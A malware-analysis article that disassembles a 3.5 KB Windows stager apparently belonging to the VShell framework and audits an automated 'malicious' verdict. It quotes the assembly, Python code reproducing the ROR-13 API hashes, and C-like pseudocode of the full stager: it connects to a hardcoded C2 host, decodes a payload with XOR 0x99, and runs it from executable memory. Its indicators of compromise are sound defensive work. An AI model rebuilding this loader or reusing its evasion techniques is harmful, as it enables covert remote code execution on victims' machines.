Technical article — companion to Case Study 05 — Three and a Half Kilobytes

A 3.5 KB binary was convicted at 98.4% on seven code capabilities, with both evidence panels empty. We disassembled all 471 instructions to find out whether the machine was right.

0x00401360: call ebx    ; control transfers into the downloaded payload

The last meaningful instruction in the file. Everything before it exists to make this line possible, and to make it unreadable before it runs.

Samplevshell.exe
SHA-256953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513
Size3,584 bytes (3.50 KB)
Automated verdictMalicious — 98.4%
Audit result7 of 7 capabilities confirmed

Subject under audit: the automated analysis published in Case Study 05 — Three and a Half Kilobytes, which returned Malicious, risk score 98.4%, with zero suspicious artefacts, zero behaviour indicators, seven code capabilities, and a functional classification of loader or dropper, while explicitly declining to name a malware family.


What VShell is

VShell is a command-and-control framework written in Go, published as an open-source host-management tool. Its author's repository describes it as a remote administration tool, and its feature list reads like a modern commercial C2: interactive virtual terminal, client generation directly from the server without a build environment, Windows shellcode clients, in-memory execution of plugins in several formats, and support for TCP, UDP/KCP and WebSocket transports with CDN relaying. Compared with more familiar tooling, it offers a native web-based interface, cross-platform support and fileless execution.

Since its release it has been adopted for intrusion rather than administration. Sysdig's threat research team attributed a campaign beginning in late January 2025 to the Chinese state-sponsored actor UNC5174, which had moved from the reverse-shell tool SUPERSHELL to VShell; on underground channels the framework is reportedly regarded as an improvement on Cobalt Strike. In that chain the SNOWLIGHT malware acted as a dropper for a fileless in-memory VShell payload, described as a remote access trojan widely used by Chinese-speaking operators. Reported capabilities include reverse shell access, file upload and download, process management and TCP/UDP port forwarding, with Go giving it coverage across x86, x64, ARM and ARM64. Public reporting on VShell concerns Linux and macOS intrusions almost exclusively. The sample audited here is a Windows PE32 stager for the same framework — the delivery end of the same toolchain, on a platform the literature has covered far less.

The basis for placing this particular binary within that framework is set out in section 10, after the disassembly that supports it.


1. Purpose and method

The case study makes a strong claim: that a file with an almost empty static surface was correctly convicted on code capabilities alone. This article audits that claim the hard way — by disassembling the entire code section of the binary and checking every reported capability against concrete instructions at concrete addresses.

Ground rules for the audit:

  1. Independence. No finding is carried over from the automated report. Every statement below was produced from the raw bytes of the sample.
  2. Instruction-level proof. A capability is confirmed only when the exact instructions implementing it are quoted.
  3. Proved versus inferred. Where the static record ends, the text says so. Interpretations are labelled as such.
  4. Reproducibility. Every tool invocation and script needed to repeat this analysis is included.

Tooling: pefile 2024.8.26 for header and structure parsing, capstone for x86 disassembly, Python 3 for hash reproduction and stack accounting, and strings. The entire .text section is 1,536 bytes and disassembles to 471 instructions — small enough to read exhaustively, which is exactly what was done.


2. Static triage: the shape of the file

Identification

$ file vshell.exe
PE32 executable for MS Windows 6.00 (GUI), Intel i386, 3 sections
$ sha256sum vshell.exe
953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513

PE headers

FieldValueDecoded
Machine0x014cIntel i386, 32-bit
Characteristics0x0102EXECUTABLE_IMAGE | 32BIT_MACHINE
TimeDateStamp0x653a7aca2023-10-26 14:42:18 UTC
Subsystem2Windows GUI
EntryPoint RVA0x1000start of .text
ImageBase0x400000
SizeOfImage0x4000
DllCharacteristics0x8540DYNAMIC_BASE | NX_COMPAT | NO_SEH | TERMINAL_SERVER_AWARE

Sections

SectionVirtualSizeRawSizeCharacteristicsEntropy
.text0x5ae0x6000x60000020 — code, execute, read6.01
.rdata0x15a0x2000x40000040 — initialized data, read2.46
.reloc0x0c0x2000x420000400.08

.text entropy of 6.01 is ordinary compiler output, not a packer — packed code typically exceeds 7.2. .rdata at 2.46 is sparse data. .reloc is essentially empty, a single block, meaning the image is effectively bound to its preferred base despite advertising DYNAMIC_BASE. There is no overlay: the file ends exactly at the last section's raw end.

Data directories

DirectoryRVASizeMeaning
IMPORT0x21140x28exactly one descriptor, 40 bytes, plus terminator
BASERELOC0x30000x0cone block, effectively none
DEBUG0x20080x38two entries: POGO, 188 bytes, and REPRO, 0 bytes
IAT0x20008one thunk

No COM descriptor, so not .NET. No TLS directory, no resources, no exports, no delay imports.

The one-function import table

The complete import surface:

DLL: KERNEL32.dll
   0x402000  Sleep   (hint 1431)

One function. For a GUI-subsystem program that is about to open a TCP connection, download twenty-eight megabytes and execute them, the import table says this program sleeps.

String evidence: the absence is the finding

Complete strings output for the file, excluding section names and import descriptors:

!This program cannot be run in DOS mode.
RichC~:
user
32.df
ws2_
32.df
msvcP
rt.df
unMa
GCTL
Sleep
KERNEL32.dll

No URL. No IP address. No path, no registry key, no command line, no error message, no wide strings at all. The fragments user, 32.df, ws2_ and msvcP are not stored strings — they are the ASCII faces of 32-bit immediate constants inside .text, which is to say stack-string material in code form. A string-matching engine sees nothing because there is, deliberately, nothing to match.

.rdata confirms it

The full .rdata hex dump contains only the debug directory — the GCTL POGO signature and the .text$mn and .rdata$voltmd group names — the import descriptor, the IAT thunk, and the literal strings Sleep and KERNEL32.dll:

0x002058  47 43 54 4c 00 10 00 00 ae 05 00 00 2e 74 65 78 74 24 6d 6e   GCTL......text$mn
...
0x002146  97 05 53 6c 65 65 70 00 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c   ..Sleep.KERNEL32.dll

The 97 05 prefix is the import hint for Sleep. Everything the program intends to use beyond that one function is computed at runtime.


3. Code map

The .text section contains exactly three functions and no padding bytes of interest:

RangeFunction
0x401005 – 0x401368main — the stager logic
0x401369 – 0x40145dresolve — PEB walk and ROR-13 export-hashing resolver
0x40145f – 0x4015adbuild_api_table — fills 18 stack slots with resolved function pointers

The entrypoint itself is a two-byte jump over slack into main:

0x00401000: jmp  0x401005

4. The resolver at 0x401369

This is the function the case study's PEB access, access PEB ldr_data and resolve function by parsing PE exports capabilities describe.

PEB walk

0x0040136f: mov  eax, dword ptr fs:[0x30]   ; eax = PEB          <-- "PEB access"
0x00401378: mov  eax, dword ptr [eax + 0xc] ; eax = PEB->Ldr     <-- "access PEB ldr_data"
0x0040137e: mov  esi, dword ptr [eax + 0xc] ; esi = InLoadOrderModuleList.Flink

fs:[0x30] is the canonical user-mode PEB pointer on x86. Offset +0xc is PPEB_LDR_DATA Ldr; a further +0xc selects InLoadOrderModuleList, the list the loader maintains of every module mapped into the process. The loop at 0x401432–0x401436 walks Flink until the list terminates.

Module-name hash

For each module, with the LDR_DATA_TABLE_ENTRY in esi:

0x00401386: mov  edx, dword ptr [esi + 0x18]  ; DllBase
0x0040138e: mov  ebx, dword ptr [esi + 0x2c]  ; BaseDllName.Length | MaximumLength
0x0040138b: mov  eax, dword ptr [esi + 0x30]  ; BaseDllName.Buffer
0x004013ae: shr  ebx, 0x10                    ; ebx = MaximumLength (bytes, UTF-16)
; loop over MaximumLength bytes of the UTF-16 name buffer:
0x004013ba: movsx edx, byte ptr [esi + ecx]   ; ch (raw byte of UTF-16LE name)
0x004013be: ror  edi, 0xd                     ; h = ror13(h)
0x004013c1: cmp  byte ptr [esi + ecx], 0x61   ; if ch >= 'a':
0x004013cc: add  eax, -0x20                   ;     ch -= 0x20   (uppercase fold)
0x004013cf: add  edi, eax                     ; h += ch
0x004013d9: jb   0x4013ba

Two subtleties live here, and both were verified empirically. The module name is hashed as UTF-16LE bytes, including the trailing NUL wide character, because MaximumLength rather than Length is used; and lowercase ASCII is folded to uppercase before the add, so the hash is case-insensitive on module names.

Export walk and export-name hash

For each module with a non-null export directory:

0x00401396: mov  eax, dword ptr [edx + 0x3c]        ; e_lfanew
0x0040139f: mov  eax, dword ptr [eax + edx + 0x78]  ; EXPORT directory RVA
...
0x004013e4: mov  ecx, dword ptr [eax + edx + 0x18]  ; NumberOfNames
0x004013ed: mov  ecx, dword ptr [eax + edx + 0x20]  ; AddressOfNames
; per exported name:
0x004013f9: mov  esi, dword ptr [ecx]               ; name RVA
; hash the ASCII name, ROR-13, NO case folding:
0x00401407: mov  cl, byte ptr [esi]
0x00401409: ror  edx, 0xd
0x0040140f: add  edx, eax
0x00401412: test cl, cl
0x00401414: jne  0x401407                           ; terminator is hashed before exit

The test cl, cl happens after the rotate-add, so the export name's terminating NUL is included in the hash. Miss that detail and no hash ever matches — it is one of two places where a sloppy reimplementation of this algorithm silently fails.

Match and resolve

0x00401422: add  eax, edi                           ; export_hash + module_hash
0x00401424: cmp  eax, dword ptr [ebp - 0x14]        ; caller-supplied target constant
0x00401427: je   0x401443
; on match:
0x00401446: mov  eax, dword ptr [esi + edx + 0x24]  ; AddressOfNameOrdinals
0x00401451: mov  eax, dword ptr [esi + edx + 0x1c]  ; AddressOfFunctions
0x00401458: mov  eax, dword ptr [eax + edx]         ; function RVA
0x0040145b: add  eax, edx                           ; + DllBase = VA

The combined hash — ror13_wide_folded(module) + ror13_raw(export) — is the Metasploit block_api construction. The resolver searches every loaded module for each hash, so the caller never names a DLL for the lookup itself.

Reproducing the hashes

The following Python reproduces the exact algorithm, including both subtleties.

def ror(v, r): return ((v >> r) | (v << (32 - r))) & 0xffffffff

def h_api(name):                      # export name: raw bytes + NUL
    h = 0
    for ch in name.encode() + b"\x00":
        h = (ror(h, 13) + ch) & 0xffffffff
    return h

def h_mod(name):                      # module name: UTF-16LE + NUL wchar, uppercase fold
    h = 0
    for ch in name.encode("utf-16le") + b"\x00\x00":
        h = ror(h, 13)
        if ch >= 0x61: ch -= 0x20
        h = (h + ch) & 0xffffffff
    return h

# target = (h_mod(dll) + h_api(export)) & 0xffffffff

Run against a candidate list of more than seventy common APIs across KERNEL32, USER32, WS2_32, MSVCRT and NTDLL, it resolves 17 of the 18 constants in the binary unambiguously. The eighteenth, 0x02c74e98, matches no common API and — critically — has no call site in main. It is a dead table entry, resolved and never used.

The complete resolved API table

build_api_table at 0x40145f fills these eighteen slots, in stack order:

SlotHashResolved APIUsed?
0x000x0726774cKERNEL32!LoadLibraryAyes
0x040x07568345USER32!MessageBoxAno call site
0x080x006b8029WS2_32!WSAStartupyes
0x0c0xe0df0feaWS2_32!WSASocketAyes
0x100x6174a599WS2_32!connectyes
0x140x5f38ebc2WS2_32!sendyes
0x180xe553a458KERNEL32!VirtualAllocyes
0x1c0x5fc8d902WS2_32!recvyes
0x200x614d6e75WS2_32!closesocketyes
0x240x803428a9WS2_32!gethostbynameyes
0x280x4d7b1e12WS2_32!inet_addryes
0x2c0xff13dad9MSVCRT!strlenyes
0x300xed6bdd99MSVCRT!strcpyyes
0x340xed43d9d9MSVCRT!strcatyes
0x380xd0eb608dUSER32!wsprintfAyes
0x3c0x02c74e98unresolved — no call sitedead entry
0x400x70f2fa31MSVCRT!_accessyes
0x440xe449f330KERNEL32!GetTempPathAyes (0x40/0x44 duplicated)

Read as a set, this is a networking stager's shopping list: string formatting and copying, a file-existence probe, a temp-path query, the complete BSD-socket lifecycle from WSAStartup through WSASocketA, connect, send, recv and closesocket, name resolution, and executable-memory allocation.

Read as a complement, the table is just as informative. There is no CreateFile or WriteFile, no registry API, no CreateProcess or CreateThread, no service API, no crypto API. This binary cannot drop a file, cannot persist itself, and cannot spawn a process. Whatever it fetches, it fetches to run.

MessageBoxA and the unresolved slot are template residue: the builder resolves a fixed table whether or not main uses every entry.


5. The table builder at 0x40145f

Before any resolution can happen for ws2_32 and msvcrt, those libraries must be in the module list. They are loaded through the freshly resolved LoadLibraryA, with the DLL names built on the stack — the first concrete instance of the obfuscated stackstrings capability:

0x00401478: mov  dword ptr [ebp - 0xc], 0x72657375   ; "user"
0x0040147f: mov  dword ptr [ebp - 8],   0x642e3233   ; "32.d"
0x00401486: mov  word  ptr [ebp - 4],   0x6c6c       ; "ll"
0x0040148c: mov  byte  ptr [ebp - 2],   0
0x00401490: call eax                                 ; LoadLibraryA("user32.dll")

Identical constructs follow for "ws2_32.dll" at 0x4014a3–0x4014b7 and "msvcrt.dll" at 0x4014c0–0x4014d5. These are the byte sequences that produced the user, ws2_ and msvcP fragments in the strings output — visible as data only because ASCII immediates happen to be printable.


6. main, instruction by instruction

main begins conventionally:

0x00401005: push ebp
0x00401006: mov  ebp, esp
0x00401008: and  esp, 0xfffffff8
0x0040100b: sub  esp, 0x364

Its first act is to call the table builder with ecx = esp+0x98. Every subsequent API call goes through a table slot, as call dword ptr [esp+X], or through a register. Each call site below was mapped to its slot by simulating the stack pointer through the function, accounting for cdecl caller-cleanup and stdcall callee-cleanup per API.

Step 1 — Run-once marker in %TEMP%

0x0040102d: call [slot 0x44]      ; GetTempPathA(0x80, buf)

A wsprintfA chain then builds a filename from the pieces "log", "log_" and "de." against the temp path, and:

0x0040109e: call [slot 0x40]      ; _access(path, 0) -- existence test
0x004010a8: test eax, eax
0x004010aa: je   0x401362         ; file EXISTS -> exit immediately

_access(path, 0) returns 0 when the path exists. The stager aborts if a file named log_de… already exists in the user's temp directory — but no code in this binary ever creates it. The marker is written by the second stage. This is a run-once latch: the stager fires only on a not-yet-compromised host.

Step 2 — C2 address assembled on the stack

The dotted quad never exists in the file. It is manufactured from four immediate stores:

0x004010d9: mov  dword ptr [esp + 0x20], 0x2e353631   ; "165."
0x004010f2: mov  dword ptr [esp + 0x30], 0x2e343531   ; "154."
0x004010ff: mov  dword ptr [esp + 0x3c], 0x2e363232   ; "226."
0x0040110b: mov  dword ptr [esp + 0x44], 0x3738       ; "87"

These are joined by three wsprintfA("%s%s", …) calls, the format strings likewise stack-built, into 165.154.226.87. A second fixed-width string, "w32   ", is composed nearby — the client OS/arch tag, which becomes the first field of the beacon (Step 4). The port is poked directly into the socket address structure:

0x004011f0: mov  eax, 0x941f
0x004011f5: mov  word ptr [esp + 0x88], si    ; sin_family = 2 (AF_INET)
0x004011fd: mov  word ptr [esp + 0x8a], ax    ; sin_port = 1f 94 -> 0x1f94 = 8084

Step 3 — Winsock up, socket, resolve, connect forever

0x004011c4: call [slot 0x08]      ; WSAStartup(0x202, &wsa) -- version 2.2
0x004011cb: test eax, eax
0x004011cd: jne  0x401362         ; failure -> exit
0x004011df: call [slot 0x0c]      ; WSASocketA(2, 1, 6, 0, 0, 1)

Hostname resolution tries DNS first and falls back to a literal:

0x0040120d: call [slot 0x24]      ; gethostbyname(str)
0x00401214: test eax, eax
0x00401216: jne  0x401229         ; non-null hostent -> **h_addr_list
0x00401220: call [slot 0x28]      ; else inet_addr(str)

Then the connect loop — the only place the single declared import is used:

0x00401244: push 0x10
0x0040124f: call [slot 0x10]      ; connect(sock, &sa, 16)
0x00401256: test eax, eax
0x00401258: jne  0x401239         ; failed ->
0x00401239:   push 0x2710         ;   10,000 ms
0x0040123e:   call dword ptr [0x402000]   ; KERNEL32!Sleep -- the one IAT import
0x00401244:   ...                 ;   retry, forever

This is the delay execution capability. Its primary purpose is reconnect backoff — the sleep executes only on the failure path — although it has the side effect of outliving short sandbox timeouts whenever the C2 is unreachable. The automated note's reading is plausible; the disassembly supports a more specific primary intent.

Step 4 — Beacon

Ten send(sock, buf, len, 0) calls, with no interleaved logic, putting exactly 40 bytes on the wire before any recv:

OffsetLenHex (this sample)Field
0x00677 33 32 20 20 20client OS/arch tag, fixed width — "w32   " (Windows 32-bit)
0x0621f 94listener port, big-endian — the sin_port bytes, 8084
0x08431 36 35 2eC2 IPv4 octet 1: "165."
0x0c431 35 34 2eoctet 2: "154."
0x10432 32 36 2eoctet 3: "226."
0x14438 37 00 00octet 4: "87", NUL-padded
0x181600 × 16unused template fields, zeroed

The full wire image for this sample:

773332202020 1f94 3136352e 3135342e 3232362e 38370000 00000000000000000000000000000000

The beacon is the implant reporting its own listener configuration. The platform tag comes from a small enum — this Windows sample sends w32, the documented Linux WebSocket variant uses l64 — and the port and IP are reused straight from the sockaddr_in and the dotted-string fragments: the stager literally tells the server the address it dialled. The values are informational, not secrets, and the server does not depend on them — modified parameters still receive the stage. Forty bytes of beacon, then the socket falls silent and waits.

Step 5 — Allocate 28.5 MB of RWX memory

0x004012e8: push 0x40             ; PAGE_EXECUTE_READWRITE
0x004012ea: push 0x1000           ; MEM_COMMIT
0x004012ef: push 0x1c9c380        ; 29,860,736 bytes (~28.5 MB)
0x004012f4: push ebx              ; lpAddress = NULL
0x004012f5: call [slot 0x18]      ; VirtualAlloc
0x004012fc: mov  ebx, eax
0x004012fe: test ebx, ebx
0x00401300: je   0x401362         ; allocation failed -> exit

PAGE_EXECUTE_READWRITE is the single most incriminating constant in the file. No compiler emits it for ordinary data, and its only consumer here is memory that network input is about to land in. The fixed size tells us the operator knows the payload's footprint: this stager is built for one specific second stage, not for general use.

Step 6 — Download, XOR-decode, execute

0x00401302: and  dword ptr [esp + 0x84], 0     ; off = 0
; loop:
0x00401313: call [slot 0x1c]                   ; recv(sock, buf+off, 0x64000, 0)
0x0040131a: cmp  eax, 1
0x0040131d: jl   0x401358                      ; recv < 1 -> done
0x0040131f: mov  esi, ebx
0x00401327: xor  byte ptr [esi], 0x99          ; <-- single-byte XOR key 0x99
0x0040132a: inc  esi
0x0040132b: sub  ecx, 1
0x0040132e: jne  0x401327                      ; decode whole chunk in place
0x00401330: ...                                ; off += n; recv next chunk; loop

Each received chunk, up to 409,600 bytes, is decoded in place one byte at a time against the constant 0x99. The download ends when the server closes or errors, not at a known size — the 28.5 MB allocation is the only bound.

The response carries no length prefix and no framing: the server streams the stage-2 payload until close, every byte XOR'd with 0x99. That makes the first bytes on the wire a reliable confirmation signal — a Windows stage begins D4 C3 (MZ ⊕ 0x99), a Linux stage A6 C4 E5 C7 (\x7fELF ⊕ 0x99).

0x00401358: push edi
0x00401359: call [slot 0x20]      ; closesocket
0x00401360: call ebx              ; *** control transfers into the downloaded payload ***

call ebx jumps into the RWX buffer. The execution transfer is proved, not inferred — it is the last meaningful instruction in the file, and it is why the file needs no CreateThread, no process hollowing and no reflective loader stub. The payload runs because the stager simply calls it.


7. Reconstructed behaviour

The whole sample, in C-like pseudocode:

void main(void) {
    FARPROC api[18];
    build_api_table(api);                       // PEB walk + ROR-13 hashing

    char tmp[128], path[256], ip[64], idstr[64];
    GetTempPathA(0x80, tmp);
    wsprintfA(path, "%s%s", tmp, "log_de…");    // marker path
    if (_access(path, 0) == 0)                  // exists?
        return;                                 //   -> already done; exit

    wsprintfA(ip,   "%s%s", "165.", "154.");    // octets never stored whole
    wsprintfA(ip,   "%s%s", ip,     "226.");
    wsprintfA(ip,   "%s%s", ip,     "87");      // -> "165.154.226.87"

    WSADATA wsa;
    if (WSAStartup(0x202, &wsa)) return;
    SOCKET s = WSASocketA(2, 1, 6, 0, 0, 1);    // AF_INET, SOCK_STREAM, TCP
    if (!s) return;

    sockaddr_in sa = { .sin_family = AF_INET, .sin_port = /* 8084 */ };
    struct hostent *h = gethostbyname(ip);
    sa.sin_addr = h ? *(struct in_addr *)*h->h_addr_list
                    : *(struct in_addr *)&(DWORD){inet_addr(ip)};

    while (connect(s, &sa, sizeof sa) != 0)     // retry forever
        Sleep(10000);

    send(s, id6, 6, 0);                         // beacon: ~40 bytes
    send(s, portbytes, 2, 0);
    for (int i = 0; i < 8; i++) send(s, field[i], 4, 0);

    BYTE *buf = VirtualAlloc(0, 0x1c9c380, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!buf) return;

    int off = 0, n;
    while ((n = recv(s, buf + off, 0x64000, 0)) >= 1) {
        for (int i = 0; i < n; i++) buf[off + i] ^= 0x99;
        off += n;
    }
    closesocket(s);
    ((void (*)(void))buf)();                    // execute stage 2 in memory
}

8. Verifying the automated report, claim by claim

Automated findingManual evidenceResult
contain obfuscated stackstrings (basic block ×3)Immediate-built strings: DLL names at 0x401478, 0x4014a3, 0x4014c0; "%s%s" formats at 0x401047 and 0x401147; IP octets at 0x4010d9–0x40110b; "log_" and "de." at 0x401063 and 0x401076Confirmed
delay execution (basic block ×2)push 0x2710 and call [0x402000] at 0x401239 and 0x40123eConfirmed, with a refinement: the sleep is on the connect-failure path; the anti-sandbox reading is a side effect, not the primary purpose
encode data using XOR (basic block ×1)xor byte ptr [esi], 0x99 at 0x401327Confirmed — key 0x99
PEB access (basic block ×3)mov eax, fs:[0x30] at 0x40136fConfirmed
access PEB ldr_data (basic block ×3)[eax+0xc] to Ldr, then to InLoadOrderModuleList, at 0x401378 and 0x40137eConfirmed
resolve function by parsing PE exports (function ×3)e_lfanew read at 0x401396; export directory at 0x40139f; names walk at 0x4013e4–0x401430; ordinal and function resolution at 0x401443–0x40145bConfirmed
contain loop (function ×3)Module walk 0x401432; name hash 0x4013ba; export scan 0x40142c; connect retry 0x401244→0x401239; recv 0x40131a–0x401356; XOR 0x401327–0x40132eConfirmed
Zero suspicious artefacts, zero behaviour indicatorsThe file contains no matchable signatures and no readable API names; the strings evidence above shows whyConfirmed — the empty panels are accurate
Functional call: loader or dropperThe file's sole purpose is to fetch a stage-2 payload and execute it; it cannot itself drop or persist anythingConfirmed — specifically a network stager
Stated limit: family not determinableThe socket, C2 and payload are all structurally concealed until the resolver and stack strings are followed; nothing statically visible distinguishes the eventual payload familyConfirmed — the boundary is drawn where the evidence ends

Seven capabilities reported; seven capabilities present at quotable addresses. Nothing reported that is absent; nothing statically visible that was missed.


9. What the manual audit adds

The automated report deliberately stopped at mechanism. For the responder, the audit adds:

  • Concrete indicators. C2 165.154.226.87:8084 over TCP, XOR key 0x99, run-once marker %TEMP%\log_de…, expected payload footprint around 28.5 MB.
  • The beacon, fully decoded. The 40-byte beacon echoes the implant's platform tag, port and C2 address and is informational only — the server delivers the stage even when the parameters are modified. The response stream has no framing, so a probe can confirm a live server from the first wire bytes: D4 C3 for a Windows stage, A6 C4 E5 C7 for Linux.
  • The marker logic. The stager exits if the marker exists, so the presence of %TEMP%\log_de… means stage two already ran — a high-value forensic artefact, since the stager itself never touches disk.
  • Template residue. MessageBoxA resolved but never called, one unresolved dead hash, and GetTempPathA duplicated into two slots — fingerprints of the builder kit, useful for clustering sibling samples.
  • Capture guidance. Any intercepted second stage can be decoded offline with a single-byte XOR of 0x99.

10. Attributing the binary to VShell

Nothing in the file names the framework it belongs to. There is no protocol string, no user agent, no version banner — the only literal text in the whole binary is Sleep and KERNEL32.dll. Attribution therefore has to be argued from structure and from correspondence with published analysis of the same toolchain on other platforms.

Four correspondences support it.

The XOR key. Trellix's analysis of a Linux VShell delivery chain describes a stage that connects to a hardcoded C2, retrieves an XOR-encrypted payload, decrypts it in memory using key 0x99, and executes it. This binary decrypts its downloaded payload with a single-byte XOR against 0x99 at 0x401327. Taken alone this is weak — a single byte has 256 possible values and 0x99 is not rare — but it is the same constant in the same role.

The marker-file latch. PolySwarm's write-up of the Linux variant notes an anti-reinfection mechanism that checks for a marker file to prevent multiple instances running. This binary performs exactly that check at 0x40109e, via _access(path, 0) against a %TEMP%\log_de… path, and exits when the file is present. Crucially, the stager never creates the marker itself, which means the mechanism only makes sense as part of a two-stage design where the payload writes it — precisely the arrangement the Linux reporting describes.

The delivery model. VShell is documented as a fileless, in-memory payload delivered to an already-compromised host, with clients generated by the C2 server according to the target system. That is what this file is built for: it allocates RWX memory, streams a payload into it over a raw socket, and transfers control with call ebx. It cannot write a file, cannot persist, and cannot spawn a process — the complement of its API table rules out every alternative delivery model.

The payload footprint. The stager pre-allocates 29,860,736 bytes — about 28.5 MB — for the second stage. That is enormous for shellcode and unremarkable for a statically linked Go binary, which is what VShell clients are. The allocation is a fixed constant, so the operator knew the size in advance. This is an inference from the size, not a proof, but it fits a Go-built client and fits little else.

What the attribution does and does not claim

Taken together these place the sample within the VShell toolchain: the same payload encoding, the same run-once mechanism, the same in-memory delivery model, and a payload footprint consistent with a Go client. Public reporting on VShell concerns Linux and macOS intrusions almost exclusively; this is the Windows PE32 stager for the same framework, which is why the correspondences come from cross-platform analysis rather than from prior Windows reporting.

Two limits are worth stating plainly. The resolver is the Metasploit block_api construction, which is generic and shared across a great deal of tooling — it is evidence of tradecraft, not of family, and carries no attribution weight on its own. And this is attribution to a framework, not to an operator. VShell is open-source and has been used by more than one group; identifying the tool says nothing about who deployed it. DEKENEAS performs no actor attribution, and none is offered here.

This also sits outside the automated verdict. The engine classified the file as a loader or dropper from structure and declined to name a family, which was the correct call on the evidence available to it. The attribution above rests on external reporting the engine does not consume.


11. Indicators of compromise

TypeValue
SHA-256953a438fd6034f420b2ac591a4871b4e386aa907e2ed9ca9116aa1c37b17f513
C2165.154.226.87:8084 — TCP, raw socket
Marker file%TEMP%\log_de… — exact suffix built at runtime
Payload encodingsingle-byte XOR, key 0x99
Payload size29,860,736 bytes allocated (0x1c9c380)
Memory artefact~28.5 MB PAGE_EXECUTE_READWRITE region in the process
Beacon40 bytes in 10 send()s — OS/arch tag (w32), listener port, C2 address echoed, 16 zeroed template bytes; informational only
Wire signaturestage-2 stream XOR 0x99 throughout; starts D4 C3 (Windows) or A6 C4 E5 C7 (Linux)

12. MITRE ATT&CK mapping

TechniqueIDEvidence
Obfuscated Files or InformationT1027API hashing, stack strings, split C2 octets
Deobfuscate/Decode Files or InformationT1140XOR 0x99 payload decode
Reflective Code LoadingT1620call ebx into received RWX buffer
Native APIT1106PEB walk replacing the import table
Ingress Tool TransferT1105stage-2 download over raw TCP
Non-Application Layer ProtocolT1095raw TCP C2 with custom beacon

13. Conclusion

Every checkable claim in the automated analysis survives instruction-level audit. The verdict is correct. All seven reported capabilities resolve to concrete instructions at the addresses quoted above. The functional classification, loader or dropper, is correct and appropriately conservative — the file is, precisely, a network stager. And the declared confidence boundary, that the family is not determinable, sits exactly where the static evidence ends, because the network behaviour is structurally concealed behind runtime API resolution and stack-built strings until the code runs.

The audit also produced the two refinements any honest verification should surface. First, delay execution is primarily reconnect backoff; the anti-analysis reading is a side effect. Second, the API table carries builder-kit residue — an unused MessageBoxA, one dead hash, a duplicated slot — that the capability view does not mention. Neither weakens the verdict; both sharpen it, and both were found only because the file was actually read.

The emptiness of this file's static surface was the evidence. The machine read it correctly.

Analysis performed with pefile 2024.8.26, capstone and Python 3. The sample hash is public and all findings are reproducible from the bytes.

DEKENEAS performs no actor attribution. Automated verdicts are computed from file structure and code capability: no signature set, no malware family database, and no reputation service in the verdict path.

Analyse a sample →